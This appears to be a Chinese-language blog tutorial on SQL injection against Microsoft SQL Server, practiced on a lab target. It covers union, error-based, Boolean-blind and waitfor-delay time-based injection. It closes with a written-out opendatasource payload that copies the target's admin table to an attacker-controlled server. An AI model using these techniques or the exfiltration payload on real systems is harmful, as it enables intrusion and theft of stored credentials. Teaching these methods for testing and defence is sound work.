MSSQL注入

MSSQL数据库


数据库简介 

MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库

注入简介

MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路

对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“--”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。

联合查询


基础知识:MSSQL的系统自带库-->master

其实再每个网站中,一般一个网站不会跨库,而再MSSQL中每个库都有一个系统自带表-->sysobjects

此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表

syscolumns表重我们需要查询的字段就是name字段

top关键字:由于MSSQL中不存在limit,那么想要输出一条数据怎么办呢,直接top 1,输出两条数据top 2,输出第二条数据top 1+限制条件

如何实现MySQL中的group_concat()函数的用法,实例如下

SELECT top 1 id, [name] = stuff((SELECT ',' + [name] FROM syscolumns sys WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '') FROM syscolumns where id =2105058535;

 

MSSQL中常用参数

@@version,查询当前数据库版本

db_name(),查询当前数据库名称

user,查询当前用户

IS_SRVROLEMEMBER(),查询数据库权限。

常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin

用法如下,证明相应权限则返回1

原理不在过多解释,注入原理与MySQL一致,直接打开靶场练习,判断注入点,如下图

此处就不再使用order by判断字段数了,很明显就三个字段,直接进行联合查询,与MySQL不一样的是,联合查询不能直接输入数字,占位符需要使用null,不太明显的可以看到多了一行空数据,如下图

接下来使用单引号,来判断字段的数据类型,经过测试数据类型如下图

查询表名,如下图

查询字段名,如下图

数据就不再一一查询。。

报错注入


cast()函数介绍,cast函数可以把查询的数据转化成字符型,用法:cast(count(*) as varchar(255))+char(94),注意加号再url中需要编码成%2b不然会报错,报错提示如下

MSSQL的报错注入就是再有错误信息的情况下,根绝数据类型不同进行报错注入,实例介绍,如下

having 1=1 和group by 联合使用的报错,首先使用having 1=1 爆出第一个字段名称

group by 爆第2、3、4个字段,这是由于group by 后面跟的字段数要与select查询的字段数一致,如下图

MSSQL盲注


布尔盲注

布尔盲注没多大变化,几乎与MySQL一致,注意一下函数就好

len()函数,MSSQL中的判断字符串长度的函数

substring()函数,截取字符串函数

其余的步骤和MySQL一致

时间盲注

与MySQL不一样的是,MSSQL数据库中是不存在sleep函数的,那应该怎么办呢?

没有if函数,但是有if语句ascii函数是条件,waitfor delay '0:0:5'是执行命令,延时五秒的意思

其余步骤就是不停改变子查询语句即可

其他思路

或许可以使用高耗时操作,找了半天没找到数据库中的高耗时操作,原则上如果有直接替代waitfor语句即可

MSSQL反弹注入


我们在进行SQL注入时明明是sql注入点却无法进行注入,注入工具猜解速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是注入攻击中常遇到的问题。为了解决以上疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术需要依靠opendatasource函数支持

环境搭建

MSSQL注入-反弹注入实际上就是把查询出来的数据发到我们的MSSQL服务器上,那么我们就需要自己搭建MSSQL数据库和一个公网ip,这里有一个虚拟空间,可以免去MSSQL安装环境并且不需要特意购置云服务器来获取公网ip

虚拟空间:香港云

这个香港云注册还需要邮箱,我一般不填真实信息,所以找了个10分钟邮箱

免费邮箱:10分钟邮箱

我选择了自己搭建。。

opendatasource函数

语法:opendatasource(provider_name,init_string)

provider_name:

注册为用于访问数据源的OLE DB提供程序的PROGID的名称,MSSQL的名称为SQLOLEDB

init_string:

链接字符串

链接地址,端口,用户名,密码,数据库名

sever=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称

实现功能:

获取所有库.当前库所有表.表里所有内容.分区路径.

本机建立库和表,方便反弹时写进东西

payload:%27%20;%20insert%20into%20opendatasource(%27sqloledb%27,%27server=XX.xx.xx.xx,1433;uid=sa;pwd=xxxxxxxxx;database=test%27).test.dbo.%20test%20select%20*%20from%20admin--+

函数外的.test.dbo.test表示连接成功后,test数据库,dbo是权限,下个test是我建的表,再后面是查询的被攻击的数据表

注意:此处需要知道admin的字段数,因为test表需要和admin表字段数一致

知识扩展

提出名词--->堆叠查询

 

  • 9
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值